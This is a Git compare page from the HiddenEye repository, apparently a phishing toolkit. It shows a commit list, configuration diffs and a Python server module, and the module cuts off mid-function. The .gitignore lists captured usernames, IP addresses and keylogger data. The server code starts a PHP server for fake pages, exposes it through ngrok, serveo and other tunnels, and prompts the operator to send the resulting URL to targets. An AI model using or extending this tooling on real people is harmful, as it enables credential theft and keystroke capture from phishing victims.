Compare commits
454 Commits
Author | SHA1 | Date |
---|---|---|
sTiKyt | 7a3deaf6f5 | |
sTiKyt | 68863e797d | |
sTiKyt | c0837ec05e | |
sTiKyt | 81f4df8689 | |
sTiKyt | 4541f914e4 | |
sTiKyt | 50803198ec | |
AdrMXR | 1d75d57055 | |
sTiKyt | 7df5ee5baf | |
sTiKyt | aa3ee1a510 | |
sTiKyt | 1f2e86d545 | |
sTiKyt | 174b5a0479 | |
sTiKyt | 3316638e1a | |
sTiKyt | 7ecf8f1f0e | |
sTiKyt | 7dece996b0 | |
sTiKyt | e6245dab26 | |
sTiKyt | 8dfaecf22b | |
sTiKyt | 148401a41e | |
sTiKyt | 0e3ede4f0a | |
sTiKyt | 6d16f0ed0c | |
sTiKyt | 23c024f872 | |
sTiKyt | a66e8bc683 | |
sTiKyt | 1da588b3fc | |
sTiKyt | a3ba050443 | |
sTiKyt | 61ec1a5604 | |
sTiKyt | 891b732b06 | |
sTiKyt | 87ba263f33 | |
sTiKyt | feeb1ea4ce | |
sTiKyt | 8bc0cec1da | |
dependabot-preview[bot] | 0ca94ddd19 | |
sTiKyt | f4cd80b7cd | |
sTiKyt | 976c7f5aa9 | |
sTiKyt | 3ad9887576 | |
sTiKyt | f9c8f29f58 | |
sTiKyt | 0d8bad1b5b | |
sTiKyt | 60eada3968 | |
sTiKyt | 1619a63d12 | |
sTiKyt | 8f72dcd9a7 | |
sTiKyt | ae96a7d302 | |
sTiKyt | 4952814a97 | |
sTiKyt | b604e6c24d | |
sTiKyt | 64c3ab248e | |
sTiKyt | 8c00d509c7 | |
sTiKyt | c484c568f5 | |
sTiKyt | dc0c1baa46 | |
sTiKyt | 1eb9dd31ba | |
sTiKyt | c7b1a976e8 | |
sTiKyt | 88ce9d1b54 | |
Restyled.io | 8e5af5386b | |
Restyled.io | b908cc1ce2 | |
Илья | f8ca152595 | |
Илья | 6a7f517671 | |
Илья | fcfa49fa98 | |
sTiKyt | feef36dd14 | |
Restyled.io | 5f9d4e8185 | |
Restyled.io | 1e56aeeda6 | |
Restyled.io | d451875378 | |
Restyled.io | 38f4af329e | |
sTiKyt | 814e44bffa | |
sTiKyt | b682ea41ad | |
sTiKyt | a39335fcc4 | |
sTiKyt | b3ca0bb7fa | |
Restyled.io | 292cc9f5c4 | |
Restyled.io | 596751f47a | |
Restyled.io | e4d3957f30 | |
Restyled.io | 0d5858b916 | |
sTiKyt | 5946b52955 | |
sTiKyt | e756aed688 | |
sTiKyt | f9d58b93fb | |
sTiKyt | 23c3753edf | |
sTiKyt | d6e6b6e120 | |
sTiKyt | 21cee7ebc3 | |
sTiKyt | b101081be2 | |
sTiKyt | f4f28c6583 | |
Restyled.io | 92e86a3eee | |
Restyled.io | 1e33d46afc | |
Restyled.io | d625a8dacc | |
Restyled.io | 05a02ca71d | |
Restyled.io | 78d0b08267 | |
Restyled.io | f1d4c0e2fe | |
sTiKyt | 0e584f24c0 | |
sTiKyt | ae036f186c | |
sTiKyt | c64fae9c82 | |
sTiKyt | 6ee10a90aa | |
sTiKyt | 25d0a8955b | |
sTiKyt | 94d22f79ad | |
dependabot-preview[bot] | d1953bb89c | |
sTiKyt | 6b86115a13 | |
sTiKyt | c5a56c83a1 | |
sTiKyt | 44ad5cc34d | |
sTiKyt | 975c2f5b83 | |
sTiKyt | fb91bba801 | |
sTiKyt | 13216cd7a7 | |
sTiKyt | ff7efcdd59 | |
MoisesTapia | 4cb1fb3dbd | |
sTiKyt | 235711977c | |
MoisesTapia | 6de8c26403 | |
sTiKyt | 527d4a0a32 | |
sTiKyt | c503846904 | |
sTiKyt | b28628ea33 | |
dependabot-preview[bot] | ffa5f73057 | |
dependabot-preview[bot] | e330dd8539 | |
dependabot-preview[bot] | 2e795af950 | |
sTiKyt | af071efd3c | |
sTiKyt | 5da56b4f52 | |
sTiKyt | 82e942eca8 | |
sTiKyt | 2f758a57b4 | |
sTiKyt | 9597da9f96 | |
sTiKyt | 2c90c36c82 | |
DarkMidus | d9ae3796ae | |
DarkMidus | 20ebbcc9c8 | |
DarkMidus | 849566d506 | |
MoisesTapia | bded077004 | |
MoisesTapia | a90a92fed4 | |
MoisesTapia | 46b97b2d69 | |
MoisesTapia | d355d06b5c | |
MoisesTapia | 6edca401f5 | |
MoisesTapia | f16308d2d3 | |
MoisesTapia | d55b2af540 | |
MoisesTapia | 32a376b9d3 | |
MoisesTapia | a0deb72ce7 | |
Moises Tapia | 976d8b1a90 | |
MoisesTapia | 1fe47309ef | |
Moises Tapia | 6ff62d2ae7 | |
Moises Tapia | 152738d5b1 | |
Moises Tapia | c96da5e200 | |
MoisesTapia | 4ed4c92dab | |
Moises Tapia | ec6eb256b6 | |
MoisesTapia | 3232e8bc7d | |
MoisesTapia | 88eb54ae90 | |
Moises Tapia | 1b5b9f8506 | |
Moises Tapia | 996b327a70 | |
Moises Tapia | b586f9fd6f | |
MoisesTapia | 9f39ae8e74 | |
MoisesTapia | 2014f45d4a | |
MoisesTapia | 2e37712cf7 | |
sTiKyt | b43d592da6 | |
Restyled.io | a5357ea82a | |
Restyled.io | ac808f6554 | |
Restyled.io | 978856d14d | |
Restyled.io | de87a73809 | |
Restyled.io | 12d1277fb4 | |
Restyled.io | 845e57eaef | |
DarkMidus | a6e47dd442 | |
DarkMidus | b974616c88 | |
DarkMidus | 57f4e272a8 | |
DarkMidus | a9a9f5cd8d | |
sTiKyt | 3d49802d58 | |
sTiKyt | aec347e1ab | |
sTiKyt | bdc1943a83 | |
sTiKyt | a7703500ae | |
sTiKyt | e514e899d7 | |
sTiKyt | 23168150ea | |
sTiKyt | 79d2365a2b | |
sTiKyt | 6ee727d283 | |
sTiKyt | bb22bb76c2 | |
sTiKyt | 4259169598 | |
sTiKyt | dce3fe7956 | |
sTiKyt | c1d17b15e2 | |
sTiKyt | 6a963786f3 | |
sTiKyt | e2351dccd8 | |
sTiKyt | 3ef6ff9808 | |
sTiKyt | 5d621b69a5 | |
sTiKyt | 3f7300663d | |
sTiKyt | 04d98d28d6 | |
sTiKyt | 3fb8bb77ec | |
sTiKyt | 0ca64ca553 | |
sTiKyt | cba7e44caa | |
sTiKyt | 293ea6bd99 | |
DarkMidus | 431ca26ff7 | |
sTiKyt | aa7d33d006 | |
sTiKyt | ed412035c5 | |
sTiKyt | 426e636ae0 | |
sTiKyt | ab853d6fc2 | |
sTiKyt | 53bced0bfb | |
sTiKyt | fec1739469 | |
sTiKyt | b4a365de15 | |
sTiKyt | 9f70af7ecb | |
sTiKyt | fee7c05d71 | |
sTiKyt | 444ae10e2a | |
sTiKyt | fe93589e99 | |
sTiKyt | e77ef75e65 | |
sTiKyt | 258f58f495 | |
sTiKyt | 00fb18b7db | |
sTiKyt | f5f7474747 | |
sTiKyt | 2e5368e873 | |
sTiKyt | 4839f5ba25 | |
sTiKyt | b13c9ffaee | |
dependabot-preview[bot] | 2d8001f560 | |
sTiKyt | 6f2c849be1 | |
Souldiv | 5ac93bf477 | |
Souldiv | 11914f6038 | |
Souldiv | e74e111734 | |
Souldiv | 5400f8521e | |
sTiKyt | 37cff10df4 | |
dependabot-preview[bot] | b791fe473d | |
Souldiv | 9353df836b | |
sTiKyt | 33dd2c3fdb | |
sTiKyt | 0eac10f57c | |
sTiKyt | 7ab3e637e7 | |
sTiKyt | a81ae8895f | |
sTiKyt | 62a8bccbcb | |
sTiKyt | e58157ea2a | |
AnonUD4Y | 1db86fc5f3 | |
DarkMidus | 73fe4a2403 | |
sTiKyt | b1fde3ec80 | |
sTiKyt | b50f67224a | |
sTiKyt | dab74465bb | |
sTiKyt | 3ca24d04f3 | |
sTiKyt | 13952e6bc3 | |
sTiKyt | dffabd42d2 | |
sTiKyt | ba30960b1e | |
dependabot-preview[bot] | 255cb2258c | |
dependabot-preview[bot] | c16072264e | |
sTiKyt | 9f5a4f5329 | |
sTiKyt | f4a9904021 | |
sTiKyt | cc19a1ed04 | |
DarkMidus | cd185b70c9 | |
DarkMidus | dcc811a171 | |
DarkMidus | 25fcb1adc1 | |
DarkMidus | 23a0d85c14 | |
DarkMidus | 3696e54c9b | |
Alex Laird | 320575336f | |
sTiKyt | ef110fd34f | |
sTiKyt | 41801a00b9 | |
sTiKyt | 435d95ff7a | |
sTiKyt | 3b367eb4d9 | |
DarkMidus | 19562cae34 | |
DarkMidus | e1e72a15c6 | |
DarkMidus | a38ae55049 | |
DarkMidus | bee11f1b69 | |
DarkMidus | 0071ee2166 | |
DarkMidus | 8ccac37ca5 | |
DarkMidus | 3d035ea813 | |
DarkMidus | 018d3be4d4 | |
DarkMidus | 81a966eeb8 | |
sTiKyt | c786f9fe62 | |
sTiKyt | 9b1562d2af | |
sTiKyt | 1800006797 | |
sTiKyt | bdd767d03c | |
sTiKyt | c860ce255d | |
sTiKyt | 6ebd852a2b | |
sTiKyt | a273eb3a7a | |
sTiKyt | 0c910ddded | |
sTiKyt | 98f19be6af | |
sTiKyt | 02a383b625 | |
sTiKyt | d315f80afa | |
sTiKyt | c32c5d12a5 | |
sTiKyt | e0030a0e8c | |
sTiKyt | 7f94f1f6f5 | |
sTiKyt | f558e6d3c4 | |
sTiKyt | d3b131b865 | |
sTiKyt | e4d0be366e | |
sTiKyt | 293c53b799 | |
sTiKyt | c84ca1f16e | |
sTiKyt | c8c76183d2 | |
sTiKyt | 8651feb30f | |
sTiKyt | fd0a478bd2 | |
sTiKyt | b1a35ea889 | |
sTiKyt | 07ebdc4e30 | |
sTiKyt | dbd0ca4298 | |
sTiKyt | 783c504d00 | |
sTiKyt | 849d3d1f32 | |
sTiKyt | 606972d8c1 | |
sTiKyt | 8a7b1cf212 | |
sTiKyt | ad43a30cd6 | |
sTiKyt | c168e20fdb | |
sTiKyt | 4687b3ec45 | |
sTiKyt | 13808e3bb7 | |
sTiKyt | 76187d2070 | |
sTiKyt | 139f9cb5d5 | |
sTiKyt | 7f5074be3c | |
sTiKyt | 58b9c784a3 | |
sTiKyt | c0f42cab65 | |
sTiKyt | c477d21b2e | |
sTiKyt | dda31d54bd | |
sTiKyt | 2052488d26 | |
sTiKyt | 7a8fcb95d5 | |
sTiKyt | 52395c2a3e | |
sTiKyt | c13a693df0 | |
sTiKyt | 5290f09b3c | |
sTiKyt | 6e2de6621a | |
sTiKyt | d2cd531768 | |
sTiKyt | 6f2df970b5 | |
sTiKyt | 33f2b171be | |
sTiKyt | 834a49f792 | |
sTiKyt | b98e88464f | |
sTiKyt | 73f58a081a | |
sTiKyt | edc5e47183 | |
sTiKyt | 6f60a5d327 | |
sTiKyt | bec850dadb | |
sTiKyt | 1010c4cf98 | |
sTiKyt | 825aa9a992 | |
sTiKyt | 6a96d885c0 | |
sTiKyt | 32b28a97ae | |
sTiKyt | b0c72abbaa | |
sTiKyt | b42a431b95 | |
sTiKyt | 45df961f4d | |
sTiKyt | 6b3c59c7d4 | |
sTiKyt | 918482f0d7 | |
sTiKyt | ae97ce6149 | |
sTiKyt | 999ee10363 | |
sTiKyt | a04b4b1737 | |
sTiKyt | dba42192dd | |
sTiKyt | 0d12b653e0 | |
sTiKyt | e9aaef8521 | |
sTiKyt | f6e7b2acb4 | |
sTiKyt | b59d899155 | |
sTiKyt | 6d60fe1d09 | |
sTiKyt | 8999527109 | |
sTiKyt | e46239a09a | |
sTiKyt | ca6b033549 | |
sTiKyt | 408182c529 | |
sTiKyt | 3bc3478dda | |
sTiKyt | 4ece492f77 | |
sTiKyt | fd06abce56 | |
sTiKyt | cd62678225 | |
sTiKyt | ef61e90682 | |
sTiKyt | e1335adcd6 | |
sTiKyt | 63594c98d9 | |
sTiKyt | 244feed46d | |
sTiKyt | a12165d8e7 | |
sTiKyt | a8a5be85ee | |
sTiKyt | 89d95c99a5 | |
sTiKyt | 69e643d970 | |
sTiKyt | d41ca28234 | |
sTiKyt | c4abaa3bb4 | |
sTiKyt | ec921f3b86 | |
sTiKyt | 6d3c0fdc9c | |
sTiKyt | 1ba0dd414e | |
sTiKyt | 59278d5665 | |
sTiKyt | 5ca3c9ffda | |
sTiKyt | 1b8e41deba | |
sTiKyt | 87a30940c9 | |
sTiKyt | 36533ca033 | |
sTiKyt | 44e4541ea4 | |
sTiKyt | cf07a199cc | |
sTiKyt | 9b7bbd114e | |
sTiKyt | a9e9182daf | |
sTiKyt | 76d71c2de0 | |
sTiKyt | a23f89f64b | |
sTiKyt | 039811370d | |
sTiKyt | 285163f5f9 | |
sTiKyt | f48fd0108f | |
sTiKyt | 8ba1a44fc3 | |
sTiKyt | aece518fa6 | |
sTiKyt | 512368a307 | |
sTiKyt | 32bddbb422 | |
sTiKyt | dd89e0e4a9 | |
sTiKyt | 7a7227fafb | |
sTiKyt | eda6309014 | |
sTiKyt | ae138051d8 | |
sTiKyt | c8ac0911e4 | |
sTiKyt | e647dd6ef7 | |
sTiKyt | 99527ff373 | |
sTiKyt | 15296a765d | |
sTiKyt | aa138577bb | |
sTiKyt | b13ea3f8c0 | |
sTiKyt | 7a901c208a | |
sTiKyt | 896be7e335 | |
sTiKyt | 66cd9a3a12 | |
sTiKyt | 0cab51983c | |
sTiKyt | 5dc0c8dd4d | |
sTiKyt | 027c731678 | |
sTiKyt | 2e74ac0aab | |
sTiKyt | 1a6054b3dc | |
sTiKyt | 2718e38dca | |
sTiKyt | 42b872448b | |
sTiKyt | 6a904621f2 | |
sTiKyt | 2bd8535459 | |
sTiKyt | 6cc720c818 | |
sTiKyt | bdd604e791 | |
sTiKyt | aeab20b215 | |
sTiKyt | d07ae4b463 | |
sTiKyt | 655360bd0c | |
sTiKyt | dc258385a9 | |
sTiKyt | c596b4c5d1 | |
sTiKyt | 12c91efe47 | |
sTiKyt | af3e110110 | |
sTiKyt | d1a7108ecf | |
sTiKyt | 69ffe7004a | |
sTiKyt | 8a2f05c075 | |
sTiKyt | 934c6b43f9 | |
sTiKyt | 189441cb59 | |
sTiKyt | c639fe7309 | |
sTiKyt | 434cb52ba9 | |
sTiKyt | 1a4498f4a4 | |
sTiKyt | 70372a063c | |
sTiKyt | d7aac472f6 | |
sTiKyt | f0f6caf8f1 | |
sTiKyt | f6f7cd46cf | |
sTiKyt | 9b8c1bdf35 | |
sTiKyt | bacc0f5ef1 | |
sTiKyt | 27109e03af | |
sTiKyt | 5a72d23cb5 | |
sTiKyt | 9320c67d9a | |
sTiKyt | a9315b6768 | |
sTiKyt | 3265116822 | |
AnonUD4Y | b8c493868f | |
AnonUD4Y | d83bb08858 | |
AnonUD4Y | 0f3f11c1eb | |
AnonUD4Y | 98d19b73f4 | |
AnonUD4Y | cb98850628 | |
AnonUD4Y | 5b2cb9c94c | |
AnonUD4Y | b05f7db655 | |
AnonUD4Y | 58c8009af1 | |
AnonUD4Y | aacce835ea | |
Artur Tretiak | cd58f0b4fb | |
Artur Tretiak | 8ef5817785 | |
Artur Tretiak | a65379311f | |
AnonUD4Y | 664d0c795b | |
AnonUD4Y | e807ac365c | |
AnonUD4Y | 82169385ca | |
AnonUD4Y | 844801caed | |
AnonUD4Y | 4db8ff3687 | |
DarkMidus | 55d0fbcf06 | |
AnonUD4Y | 8de9291b20 | |
mark891 | 525ed2283b | |
Harshit | 4a49daf33a | |
Harshit | 0b549a97d0 | |
Harshit | 7ebf17598b | |
Harshit | 96e7c56193 | |
AnonUD4Y | 2bd77ea46e | |
AnonUD4Y | 893a874dae | |
AnonUD4Y | 48baeb6ce6 | |
AnonUD4Y | 588fb1c497 | |
AnonUD4Y | 1a04f51d30 | |
AnonUD4Y | 00fc180002 | |
AnonUD4Y | 47e7b2fc5a | |
AnonUD4Y | d1334e3211 | |
AnonUD4Y | 69995abff1 | |
AnonUD4Y | 88ca487005 | |
AnonUD4Y | 15e6360fe7 | |
AnonUD4Y | 984f7fcc3b | |
AnonUD4Y | 192a438c5c | |
AnonUD4Y | 5c4f69e5c7 | |
AnonUD4Y | 8eedd6686c | |
Artur Tretiak | a7cce32d45 | |
AnonUD4Y | 2dfa4ada94 | |
AnonUD4Y | 550448b53f | |
fossabot | 6cf1cd51b2 | |
Artur Tretiak | e79db4f896 | |
AnonUD4Y | 4c31cb64f0 | |
AnonUD4Y | 33215f6db5 | |
AnonUD4Y | b534e580b1 | |
AnonUD4Y | bbc1e67db5 | |
AnonUD4Y | 71800310ca | |
AnonUD4Y | 16576618d9 | |
AnonUD4Y | 49808007d2 | |
AnonUD4Y | 791deb4e83 | |
AnonUD4Y | 2e9257a182 | |
AnonUD4Y | 126a91ab72 | |
AnonUD4Y | 6504737361 | |
AnonUD4Y | 9d324e607d | |
George Joseph Hamilton | 22ec0db34c |
|
@ -0,0 +1 @@
|
|||
{}
|
|
@ -0,0 +1 @@
|
|||
WebPages/* linguist-detectable=false
|
|
@ -1 +1,2 @@
|
|||
issuehunt: DarkSecDevelopers/HiddenEye
|
||||
custom: ["https://btcpay.dark-sec-official.com/payment-requests/fd84f105-0dae-43ed-b450-d7156a4694b3/pay", btcpay.dark-sec-official.com]
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: ''
|
||||
title: "[BUG]"
|
||||
labels: not-confirmed
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
@ -23,16 +23,11 @@ A clear and concise description of what you expected to happen.
|
|||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Desktop (please complete the following information):**
|
||||
**Device (please complete the following information):**
|
||||
- OS: [e.g. iOS]
|
||||
- Browser [e.g. chrome, safari]
|
||||
- Version [e.g. 22]
|
||||
- Python [e.g. 3.6.1]
|
||||
- HiddenEye Version [e.g. 1.0.22]
|
||||
|
||||
**Smartphone (please complete the following information):**
|
||||
- Device: [e.g. iPhone6]
|
||||
- OS: [e.g. iOS8.1]
|
||||
- Browser [e.g. stock browser, safari]
|
||||
- Version [e.g. 22]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
|
|
|
@ -1,24 +1,33 @@
|
|||
|
||||
*.pyc
|
||||
|
||||
link\.url
|
||||
*.deb
|
||||
|
||||
log\.txt
|
||||
log.txt
|
||||
|
||||
Server
|
||||
h
|
||||
|
||||
Defs/FeatureManager/EmailManager/attachments/ip.txt
|
||||
|
||||
Defs/FeatureManager/EmailManager/attachments/usernames.txt
|
||||
|
||||
Server/CapturedData/ip.txt
|
||||
|
||||
Server/CapturedData/usernames.txt
|
||||
|
||||
Server/CapturedData/READ_IT
|
||||
|
||||
Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt
|
||||
|
||||
Server/CapturedData/KeyloggerData.txt
|
||||
|
||||
eula.txt
|
||||
|
||||
Server/www/
|
||||
|
||||
External_Software/
|
||||
|
||||
*.mo
|
||||
|
||||
|
||||
ngrok\.url
|
||||
|
||||
# Local Moltivie's virtual env
|
||||
env
|
||||
|
||||
# Ignore vscode folder
|
||||
.vscode
|
||||
|
||||
# Ignore created files by SendMail functions
|
||||
Defs/Send_Email/attachments/ip.txt
|
||||
Defs/Send_Email/attachments/usernames.txt
|
||||
|
||||
# Ignore created files by Xbox WebPage
|
||||
WebPages/xbox/ip.txt
|
||||
.idea/dictionaries/
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
|
@ -0,0 +1,11 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="PYTHON_MODULE" version="4">
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="jdk" jdkName="Python 3.8 (HiddenEye)" jdkType="Python SDK" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
<component name="TestRunnerService">
|
||||
<option name="PROJECT_TEST_RUNNER" value="Twisted Trial" />
|
||||
</component>
|
||||
</module>
|
|
@ -0,0 +1,17 @@
|
|||
<component name="InspectionProjectProfileManager">
|
||||
<profile version="1.0">
|
||||
<option name="myName" value="Project Default" />
|
||||
<inspection_tool class="PyPep8Inspection" enabled="true" level="WEAK WARNING" enabled_by_default="true">
|
||||
<option name="ignoredErrors">
|
||||
<list>
|
||||
<option value="W605" />
|
||||
</list>
|
||||
</option>
|
||||
</inspection_tool>
|
||||
<inspection_tool class="SpellCheckingInspection" enabled="false" level="TYPO" enabled_by_default="false">
|
||||
<option name="processCode" value="true" />
|
||||
<option name="processLiterals" value="true" />
|
||||
<option name="processComments" value="true" />
|
||||
</inspection_tool>
|
||||
</profile>
|
||||
</component>
|
|
@ -0,0 +1,6 @@
|
|||
<component name="InspectionProjectProfileManager">
|
||||
<settings>
|
||||
<option name="USE_PROJECT_PROFILE" value="false" />
|
||||
<version value="1.0" />
|
||||
</settings>
|
||||
</component>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.8 (HiddenEye)" project-jdk-type="Python SDK" />
|
||||
</project>
|
|
@ -0,0 +1,8 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/HiddenEye.iml" filepath="$PROJECT_DIR$/.idea/HiddenEye.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||
</component>
|
||||
</project>
|
|
@ -0,0 +1,38 @@
|
|||
# See https://github.com/restyled-io/restyled.io/wiki/Configuring-Restyled
|
||||
|
||||
enabled: true
|
||||
|
||||
exclude:
|
||||
- "**/*.patch"
|
||||
- "**/node_modules/**/*"
|
||||
- "**/vendor/**/*"
|
||||
- ".github/workflows/**/*" # https://github.com/restyled-io/restyler/issues/73
|
||||
|
||||
changed_paths:
|
||||
maximum: 1000
|
||||
outcome: skip
|
||||
|
||||
remote_files: []
|
||||
|
||||
auto: false
|
||||
|
||||
pull_requests: true
|
||||
|
||||
comments: false
|
||||
|
||||
statuses: true
|
||||
|
||||
request_review: author
|
||||
|
||||
labels: []
|
||||
|
||||
ignore_labels:
|
||||
- restyled-ignore
|
||||
|
||||
restylers_version: "master"
|
||||
|
||||
restylers:
|
||||
- autopep8
|
||||
- isort
|
||||
- reorder-python-imports
|
||||
- whitespace
|
16
.travis.yml
|
@ -1,16 +0,0 @@
|
|||
language: python
|
||||
python:
|
||||
- "3.4"
|
||||
- "3.5"
|
||||
- "3.6" # current default Python on Travis CI
|
||||
- "3.7"
|
||||
- "3.7-dev" # 3.7 development branch
|
||||
- "3.8-dev" # 3.8 development branch
|
||||
- "nightly" # nightly build
|
||||
before_install:
|
||||
# command to install dependencies
|
||||
- chmod a+x HiddenEye.py
|
||||
install:
|
||||
- pip3 install -r requirements.txt
|
||||
# command to run tests
|
||||
script: sudo env "PATH=$PATH" ./HiddenEye.py
|
|
@ -0,0 +1,594 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import os
|
||||
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ActionManager import simple_informant
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import CalledProcessError
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import check_output
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import DEVNULL
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok_conf
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import check_process
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import kill
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import signal
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_background_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import url_request
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ZipFile
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
from controllers.ngrok_controller import NgrokController
|
||||
from controllers.terminal_controller import TerminalController
|
||||
|
||||
|
||||
try:
|
||||
os.mkdir("Server/www")
|
||||
except FileExistsError:
|
||||
pass
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def server_selection(port): # Question where user must select server
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(localization.lang_server_selection["server_selection"])
|
||||
print(localization.lang_server_selection["select_any_available_server"])
|
||||
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
|
||||
choice = input(global_localization.input_line)
|
||||
choice = choice.zfill(2)
|
||||
if choice == "00":
|
||||
run_command("clear")
|
||||
start_localhost(port) # FIXED
|
||||
elif choice == "01":
|
||||
run_command("clear")
|
||||
# start_ngrok(port) # FIXME replace this shit with MVC
|
||||
NgrokController().close_latest_connection()
|
||||
TerminalController().clear()
|
||||
NgrokController().maintain_default_config()
|
||||
NgrokController().activate_config_path()
|
||||
NgrokController().establish_connection(port=port)
|
||||
print(NgrokController().ngrok_url)
|
||||
elif choice == "02":
|
||||
run_command("clear")
|
||||
start_serveo(port) # TODO ALMOST FIXED
|
||||
elif choice == "03":
|
||||
run_command("clear")
|
||||
start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == "04":
|
||||
run_command("clear")
|
||||
start_localtunnel(port, True)
|
||||
elif choice == "05":
|
||||
run_command("clear")
|
||||
start_openport(port)
|
||||
elif choice == "06":
|
||||
run_command("clear")
|
||||
start_pagekite(port)
|
||||
else:
|
||||
run_command("clear")
|
||||
return server_selection(port)
|
||||
|
||||
|
||||
def set_php(host="127.0.0.1", port=80):
|
||||
run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(
|
||||
["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
|
||||
|
||||
def set_port(port=80):
|
||||
run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
|
||||
|
||||
def start_server(port=80):
|
||||
set_php(port=port)
|
||||
|
||||
|
||||
def start_localhost(port):
|
||||
run_command("clear")
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["localhost_server"])
|
||||
host = "127.0.0.1"
|
||||
print(localization.lang_start_localhost["your_localhost_is"] + host)
|
||||
set_port()
|
||||
|
||||
set_php(host, port)
|
||||
print(localization.lang_start_localhost["starting_server_on_addr"] +
|
||||
"{0}:{1}".format(host, port))
|
||||
run_command("clear")
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["running_localhost_server"])
|
||||
|
||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"{0}:{1}\n".format(host, port))
|
||||
|
||||
|
||||
def start_ngrok(port):
|
||||
ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml")
|
||||
pid = check_process("ngrok")
|
||||
for p in pid:
|
||||
kill(p, signal.SIGKILL)
|
||||
# continue
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_ngrok["ngrok_server"])
|
||||
ngrok.connect(port=int(port))#TODO done
|
||||
while True:
|
||||
wait(2)
|
||||
ngrok_tunnels = ngrok.get_tunnels()
|
||||
url = ngrok_tunnels[0].public_url
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
|
||||
url) is not None:
|
||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_ngrok["ngrok_url"] + url +
|
||||
default_palette[4])
|
||||
break
|
||||
|
||||
|
||||
def start_serveo(port):
|
||||
def is_online():
|
||||
serveo = requests.get("http://serveo.net")
|
||||
if "temporarily disabled" in serveo.text:
|
||||
return False
|
||||
return True
|
||||
|
||||
def random(port):
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_random_server"])
|
